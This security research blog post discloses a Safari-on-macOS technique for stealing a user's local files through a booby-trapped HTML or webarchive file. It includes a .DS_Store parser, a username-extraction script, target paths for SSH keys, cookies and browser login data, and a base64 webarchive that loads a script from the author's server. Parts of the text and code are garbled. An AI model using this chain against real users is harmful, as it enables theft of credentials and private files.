by bo0om, Wallarm Research

Imaging a scary scenario: you open a simple html document, and after a little while, your proprietary files unbeknownst to you find their way to somebody else’s hard drive…

Documents, source code, SSH keys, passwords…All the files you, the authorized user, have access to — gone. Impossible? Not quite. Some of the commonly used browsers may actually allow this scenario.

Generally, an attack works something like this:

  1. User opens html document in a browser
  2. Browser reads the list of the file the user has access to
  3. Browser reads “key” files and uploads them to the remote server run by a hacker. This process occurs in the background, generally, without alerting the active user

Let’s break this process down into phases:

  1. Phase 1: getting information about the files on the current computer
  2. Phase 2: accessing the files and uploading them to an external server

During the first phase, the hacker needs to get a list of files. This is not, generally, an easy task. No developer in their right mind will allow an html page to request and receive the content of a directory file or a local desktop folder. Guessing and trying all the possible paths is not a real option. While a few file paths are common, such as ~/.ssh/id_rsa, most of the directories are /var/log/system.log different on each system.

Assuming we do overcome this obstacle, in the second phase the hacker needs to escape the sandbox of the browser, read the file she now knows about and upload them to the server.

Getting the directory list

Unlike Linux or Windows, MacOS has an interesting property. When a directory gets opened, operating system creates a specialized hidden file — .DS_Store.

This file keeps the information of the file browsing session, including the information about the size and location of the file browsing window, viewing properties and selected icons. This file is created automatically, mainly caching the directory information for quick and easy access.

While, similar to Windows’ Thumbs.db .DS_Store keeps files’ thumbnails, unlike Windows it also contains the names of files and directories. As soon as a director is opened, .DS_Store is created.

ds store

Service file .DS_Store is created automatically, when a directory is opened

Interestingly, . DS_Store can easily be parsed to get the names of all the files on in the catalog. For example, an aptly name Phython node DSStore would do the trick. Below is a code example which does just that:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = ‘/Users/USERNAME/.DS_Store’
def parse(file):
 filelist = []
 for i in file:
 if i.filename!=’.’:
 filelist.append(i.filename)
 return list(set(filelist))
d=DSStore.open(path, ‘r+’)
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
 try:
 d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’)
 fileresult = parse(d)
 all.append(fileresult)
 print(json.dumps(fileresult))
 except:
 pass

Let’s save the file in parse_ds_store.py and run it.

The results should be similar to those below:

$ python parse_ds_store.py
[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]

As you can see, I have just retrieved all the files from my home directory. And this means that , with this information, we can now recursively call .DS_Store to get the complete hierarchy of files on my computer — all without authorized access to any of the directories.

For example, applying this approach to the home directory (~/.DS_Store), we could get back:

[“Backups","Soft","Pictures",".ssh"...][

Then, following that up with ~/Backups/.DS_Store, we get:

[“2017”, “2016”, “2015”, â€Ś]

Next, we proceed to ~/Backups/2017/.DS_Store

[“source”, “sql”, “static”, â€Ś]

And so on.

A couple of notes:

  • The hacker needs to know the name of an authorized system user;
  • file .DS_Store only gets created when an authorized user opens the directory

Other than the above, this system should work.

Predicting file path for valuable information

What does a user has that’s worth stealing? First and foremost, it is .ssh, directory where the keys to the kingdom (OK the keys to the encrypted systems) are stored.

There are known files here, like the following:

~/.ssh/id_rsa;

~/.ssh/id_rsa.key;

~/.ssh/id_rsa.pub;

~/.ssh/known_hosts;

~/.ssh/authorized_keys;

Also .bash_history — gets the hacker a complete history of the previously invoked commands.

Cookies and other tasty treats

Now, let’s look for cookies. Firstly, MacOS keeps the account data in well known places.

~/Library/Cookies/Cookies.binarycookies

~/Library/Cookies/com.apple.Safari.cookies

Cookies for Twitter, Skype and other standard applications can be found in the same place.

While we are here, we can also gram the list of visited sites that returned HSTS header.

~/Library/Cookies/HSTS.plist

Another good find is the information about the system accounts:

~/Library/Accounts/Accounts4.sqlite

To top off the list, let’s also get the information about other applications

~/Library/Application Support/

For example, the information about the stored login data and cookies from the Chrome browser can do nicely.

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

Inquisitive minds can find other information in this directory as well. Could be the logs of FTP / SQL clients, messaging history, login data…

Sneaking the access to users files

Now that we know which files are valuable, let’s try to get access to those file from Safari.

We know that in the Chrome browser, reading local files is not that straightforward. The only way to do that is to launch Chrome with a special argument ( — disable-web-security).

Safari also warns that it can’t work with the local files: such as file://

Safari warns

One can’t just read file:// from Safari

HOWEVER, if the file has originally been downloaded from the internet, Safari is a lot more permissive towards this kind of requests. Thus one can send XHR request to a local file and get back its content:

XHR request

…if a file is local — you get access!

Knowing this Safari idiosyncrasy, with a full path name we can load the complete file content and upload it to an external server.

There is a catch, however. Once can’t get a full file path without knowing the authorized user’s name. Users’ names are pretty to come by. For example, /etc/passwd contains no login names at all.

To work around this snag, we can check two log files that are generated by the operating system (thanks,@f1nnix ! ) These are /var/log/system.log and /var/log/install.log. Between these two files, users’ names are likely to be found. Loading them into a simple browser and applying some regex we can get all the information we need.

Here is a JS function to extract all the login names from these logs:

function getUser() {
 var xhr = new XMLHttpRequest();
 try {
 xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 } catch (e) {
 xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 }
}

Getting out the loot

After a hacker followed the steps in the first part of the article, all that is left is to get the stolen files out. Just to see how that would work, we can put together a simple backend to receive paths and content of the files. If it’s .DS_Store, we can supplement that with path’s parsing.

As a bonus, we can add black and white lists to avoid uploading giant media files or to specify files of particular interest, such as .docx.

But what if there are other browsers in the system? Does it mean that an HTML file will get opened by Chrome or Opera and the hacker’s plan will fall flat?

Maybe not. We can not forget about XHTM extension. This is a web archive that can only be opened with Safari.

XHTM story is pretty clear — it’s just an XML-based web page with built in JS. Webarchives are a bit more complicated. There are two supported formats, one of each can be easily faked manually:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=”1.0">
<dict>
 <key>WebMainResource</key>
 <dict>
 <key>WebResourceData</key>
 <data>
 PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
 vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
 wvYm9keT48L2h0bWw+
 </data>
 <key>WebResourceFrameName</key>
 <string></string>
 <key>WebResourceMIMEType</key>
 <string>text/html</string>
 <key>WebResourceTextEncodingName</key>
 <string>UTF-8</string>
 <key>WebResourceURL</key>
 <string>file:///</string>
 </dict>
</dict>
</plist>

With data being Base64 page with each line containing 59 symbols

How to get around “Where from”

By default, files from the internet have execution protection

Warnings fire up

Warnings fire up

This means that the files that come in email attachment are unlikely to execute.

Good news for the hacker is that not all the programs set the protection flag up after downloading the file. For example, Telegram for MacOS does not do that. In some of our practice tests we were able to read user files with a malicious XHTM file transmitted via a desktop version of Telegram for MacOS, even without archiving or password protection.

File transmitted through Telegram

Practice test — File transmitted through Telegram worked!

This is just one example — other similar scenarios are also possible. For example, a ready file can be easily given to the victim on a USB dongle with family pictures.

To play with this project on your own, get the ready-made HTML files and the backend from my repository

What to do about it?

At this time, as a Safari user, you can’t do anything about it. Apparently, Apple does not consider this issue a security breach. We have not heard of any planned patches to address it.

One thing is to be vigilant and be very careful about the files you download from the internet. The only other thing to do is to not use Safari browser.

Just because you’re paranoid, doesn’t mean they are not after you!